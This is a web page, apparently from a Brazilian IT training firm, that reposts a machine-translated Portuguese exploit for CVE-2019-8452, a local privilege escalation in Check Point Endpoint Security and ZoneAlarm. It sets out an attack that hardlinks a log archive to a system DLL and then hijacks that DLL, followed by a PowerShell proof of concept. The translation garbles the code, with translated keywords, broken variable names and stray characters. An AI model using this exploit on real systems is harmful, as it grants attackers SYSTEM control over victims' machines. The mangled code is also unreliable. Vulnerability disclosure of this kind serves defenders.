fbpx

CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 – Privilege Escalation

CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 – Privilege Escalation

 

# Exploit Title: Cliente do CheckPoint Endpoint Security / ZoneAlarm 15.4.062.17802 – Escalonamento de privilégios
# Data: 2019-01-30
# Exploit Autor: Jakub Palaczynski
# Página inicial do fornecedor: https://www.checkpoint.com/
# Versão: Check Point Endpoint Security VPN <= E80.87 Build 986009514
# Versão: Check Point ZoneAlarm <= 15.4.062.17802
# CVE: CVE-2019-8452

Descrição:
============

É possível alterar as permissões do arquivo arbitrário para que o usuário tenha controle total sobre ele após a exploração, o que resulta em Escalonamento de Privilégios Locais.

Verificou-se que o software Check Point (Endpoint Security Client e ZoneAlarm) usa o arquivo tvDebug.log armazenado em “C: \ Windows \ Logs da Internet \ tvDebug.log” ou no ProgramData, por exemplo “C: \ ProgramData \ CheckPoint \ ZoneAlarm \ Logs \ tvDebug.log “.
Sobre esse arquivo de log, todos os usuários autenticados têm controle total e verificou-se que o serviço Check Point grava nele com privilégios de SISTEMA.
No entanto, esse arquivo não pôde ser usado para exploração, pois é sempre usado / utilizado pelo serviço Check Point; por exemplo, é por isso que os usuários não podem excluí-lo em condições normais (a menos que o serviço trate e / ou seja reiniciado).
No entanto, percebeu-se que quando esse arquivo de log atinge algum limite (dependendo do software), ele é arquivado no mesmo local e nome, mas com extensão ZIP. As mesmas permissões são definidas para este arquivo morto, para que todos os usuários autenticados possam acessá-lo.

Levando tudo isso em conta, podemos criar um cenário de ataque:
1. Se o arquivo tvDebug.zip existir, exclua-o
2. Crie o hardlink (usando CreateHardlink.exe) chamado tvDebug.zip, que aponta para outro arquivo para o qual gostaríamos de ter permissão (esse arquivo não deve ser utilizado por outro processo quando o serviço Check Point tentar usá-lo)
3. Preencha o arquivo de log tvDebug.log acima do limite. Para o ZoneAlarm é de 50 Mb, para a VPN é de 20 Mb. Isso pode ser feito usando o software como usuário normal.
4. Reinicie o sistema, pois o serviço precisa ser reiniciado para criar um arquivo morto.
5. Agora seu arquivo foi alterado com permissões e você tem todo acesso a ele.
6. Se apontamos para “C: \ Arquivos de programas (x86) \ CheckPoint \ Endpoint Connect \ LogonISReg.dll” na etapa 2, podemos substituir esta DLL por uma personalizada.
7. Clique em “Opções da VPN” na GUI do cliente e feche esta janela. Fechar a janela “Opções de VPN” força o LogonISReg.dll a ser carregado com privilégios de sistema.

Prova de conceito:
=================

# PoC escrito no PowerShell para explorar totalmente o Check Point Endpoint Client. Também pode ser usado para explorar o ZoneAlarm.

# arquivo para o qual queremos ter permissões
# LogonISReg.dll não é usado na inicialização e podemos forçá-lo a carregá-lo com privilégios de sistema após a exploração
$ file = “C: \ Arquivos de Programas (x86) \ CheckPoint \ Endpoint Connect \ LogonISReg.dll”

# caminho para ferramentas de teste symboliclink CreateHardlink.exe
# CreateHardlink.exe é uma ferramenta criada por James Forshaw – https://github.com/googleprojectzero/symboliclink-testing-tools
$ hardlink = “C: \ Temp \ CreateHardlink.exe”

Write-Host “[!] Detectando o software Check Point.”
if ([System.IO.File] :: Exists (“$ env: windir \ Registros da Internet \ tvDebug.log”)) {
$ logfile = “$ env: windir \ Registros da Internet \ tvDebug.zip”
Host de Gravação “[+] Check Point Endpoint Security encontrado.”
}
elseif ([System.IO.File] :: Exists (“$ env: dados do programa \ CheckPoint \ ZoneAlarm \ Logs \ tvDebug.log”)) {
$ logfile = “$ env: programdata \ CheckPoint \ ZoneAlarm \ Logs \ tvDebug.zip”
Write-Host “[+] CheckAlvo do Zone Zone encontrado.”
}
outro {
Write-Host “[-] o software Check Point não foi encontrado.”
}

Write-Host “[!] Tentando excluir o arquivo tvDebug.zip.”
if ([System.IO.File] :: Exists ($ logfile)) {
while ([System.IO.File] :: Existe ($ logfile)) {Remove-Item -Force 朴 ath $ logfile -ErrorAction SilentlyContinue}
Write-Host “[+] Arquivo de tvDebug.zip excluído com sucesso.”
}
outro {
Write-Host “[+] tvDebug.zip não foi encontrado.”
}

Write-Host “[!] Criando hardlink para um arquivo que gostaríamos de alterar as permissões.”
Start-Process -FilePath “cmd.exe” -ArgumentList “/ c $ hardlink` “$ logfile`” `” $ file` “”
while (! ([System.IO.File] :: Existe ($ logfile))) {Sleep 1}
Write-Host “[+] Hardlink criado com sucesso.”
Write-Host “[!] 1. Preencha o arquivo de registro até o limite e reinicie o computador.”
Write-Host “[!] 2. Agora, quando as permissões forem alteradas, substitua o LogonISReg.dll pela sua DLL personalizada.”
Write-Host “[!] 3. Clique em Opções de VPN na GUI do cliente e feche esta janela para forçar o carregamento da DLL.”

11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.